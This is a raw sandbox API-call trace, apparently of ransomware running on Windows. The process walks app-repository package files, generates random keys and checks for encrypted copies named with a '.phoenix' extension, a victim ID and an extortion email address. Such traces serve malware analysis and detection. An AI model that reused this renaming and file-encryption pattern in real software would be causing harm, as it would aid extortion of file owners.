	[0262.277] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.277] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.278] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1036) returned 1
	[0262.278] CloseHandle (hObject=0x2c0) returned 1
	[0262.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.278] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.278] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.278] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.279] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=28672) returned 1
	[0262.279] CloseHandle (hObject=0x2c0) returned 1
	[0262.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.280] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.280] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.280] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.280] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.281] CloseHandle (hObject=0x2c0) returned 1
	[0262.281] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.281] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.282] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=7444) returned 1
	[0262.282] CloseHandle (hObject=0x2c0) returned 1
	[0262.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.282] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.282] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.282] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.284] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=972) returned 1
	[0262.284] CloseHandle (hObject=0x2f4) returned 1
	[0262.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.289] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.291] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=65536) returned 1
	[0262.291] CloseHandle (hObject=0x2f4) returned 1
	[0262.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.291] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.291] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.291] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.292] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.292] CloseHandle (hObject=0x2f4) returned 1
	[0262.292] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.292] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.293] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5916) returned 1
	[0262.293] CloseHandle (hObject=0x2f4) returned 1
	[0262.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.293] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.295] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.295] CloseHandle (hObject=0x2f4) returned 1
	[0262.295] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.295] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.296] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.296] CloseHandle (hObject=0x2f4) returned 1
	[0262.296] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.296] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.305] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3604) returned 1
	[0262.305] CloseHandle (hObject=0x2e4) returned 1
	[0262.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.306] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.306] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.306] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.308] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1244) returned 1
	[0262.308] CloseHandle (hObject=0x2e4) returned 1
	[0262.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.308] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.309] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.309] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.309] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1244) returned 1
	[0262.309] CloseHandle (hObject=0x2e4) returned 1
	[0262.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.310] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.310] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
